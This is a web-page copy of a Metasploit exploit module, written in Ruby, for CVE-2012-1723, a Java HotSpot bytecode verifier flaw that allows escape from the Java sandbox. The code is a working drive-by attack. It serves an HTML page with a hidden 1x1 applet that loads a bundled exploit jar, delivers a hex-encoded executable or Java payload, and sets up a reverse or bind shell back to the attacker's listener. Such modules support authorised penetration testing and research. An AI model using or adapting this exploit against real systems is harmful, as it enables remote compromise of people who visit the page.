CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_verifier_field_access.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
include Msf::Exploit::Remote::BrowserAutopwn
13
autopwn_info({ :javascript => false })
14
15
def initialize( info = {} )
16
super( update_info( info,
17
'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
18
'Description' => %q{
19
This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
20
optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient
21
type checks. This allows a way to escape the JRE sandbox, and load additional classes
22
in order to perform malicious operations.
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'Stefan Cornelius', # Discoverer
28
'mihi', # Vuln analysis
29
'littlelightlittlefire', # metasploit module
30
'juan vazquez', # merged code (overlapped)
31
'sinn3r' # merged code (overlapped)
32
],
33
'References' =>
34
[
35
['CVE', '2012-1723'],
36
['OSVDB', '82877'],
37
['BID', '52161'],
38
['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
39
['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
40
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
41
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
42
['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
43
],
44
'Platform' => %w{ java linux osx solaris win },
45
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
46
'Targets' =>
47
[
48
[ 'Generic (Java Payload)',
49
{
50
'Platform' => ['java'],
51
'Arch' => ARCH_JAVA
52
}
53
],
54
[ 'Windows x86 (Native Payload)',
55
{
56
'Platform' => 'win',
57
'Arch' => ARCH_X86
58
}
59
],
60
[ 'Mac OS X PPC (Native Payload)',
61
{
62
'Platform' => 'osx',
63
'Arch' => ARCH_PPC
64
}
65
],
66
[ 'Mac OS X x86 (Native Payload)',
67
{
68
'Platform' => 'osx',
69
'Arch' => ARCH_X86
70
}
71
],
72
[ 'Linux x86 (Native Payload)',
73
{
74
'Platform' => 'linux',
75
'Arch' => ARCH_X86
76
}
77
],
78
],
79
'DefaultTarget' => 0,
80
'DisclosureDate' => '2012-06-06'
81
))
82
end
83
84
85
def exploit
86
# load the static jar file
87
path = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-1723.jar" )
88
fd = File.open( path, "rb" )
89
@jar_data = fd.read(fd.stat.size)
90
fd.close
91
92
super
93
end
94
95
96
def on_request_uri( cli, request )
97
data = ""
98
host = ""
99
port = ""
100
101
if not request.uri.match(/\.jar$/i)
102
if not request.uri.match(/\/$/)
103
send_redirect( cli, get_resource() + '/', '')
104
return
105
end
106
107
print_status("Sending #{self.name}")
108
109
payload = regenerate_payload( cli )
110
if not payload
111
print_error("Failed to generate the payload." )
112
return
113
end
114
115
if target.name == 'Generic (Java Payload)'
116
if datastore['LHOST']
117
jar = payload.encoded
118
host = datastore['LHOST']
119
port = datastore['LPORT']
120
vprint_status("Sending java reverse shell")
121
else
122
port = datastore['LPORT']
123
host = cli.peerhost
124
vprint_status( "Java bind shell" )
125
end
126
if jar
127
print_status( "Generated jar to drop (#{jar.length} bytes)." )
128
jar = Rex::Text.to_hex( jar, prefix="" )
129
else
130
print_error("Failed to generate the executable." )
131
return
132
end
133
else
134
135
# NOTE: The EXE mixin automagically handles detection of arch/platform
136
data = generate_payload_exe
137
138
print_status("Generated executable to drop (#{data.length} bytes)." )
139
data = Rex::Text.to_hex( data, prefix="" )
140
141
end
142
143
send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
144
return
145
end
146
147
print_status("Sending jar")
148
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
149
150
handler( cli )
151
end
152
153
def generate_html( data, jar, host, port )
154
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
155
156
html = "<html><head></head>"
157
html += "<body>"
158
html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
159
html += "<param name=\"data\" value=\"#{data}\"/>" if data
160
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
161
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
162
html += "</applet></body></html>"
163
return html
164
end
165
166
def generate_jar()
167
@jar_data
168
end
169
end
170
171
172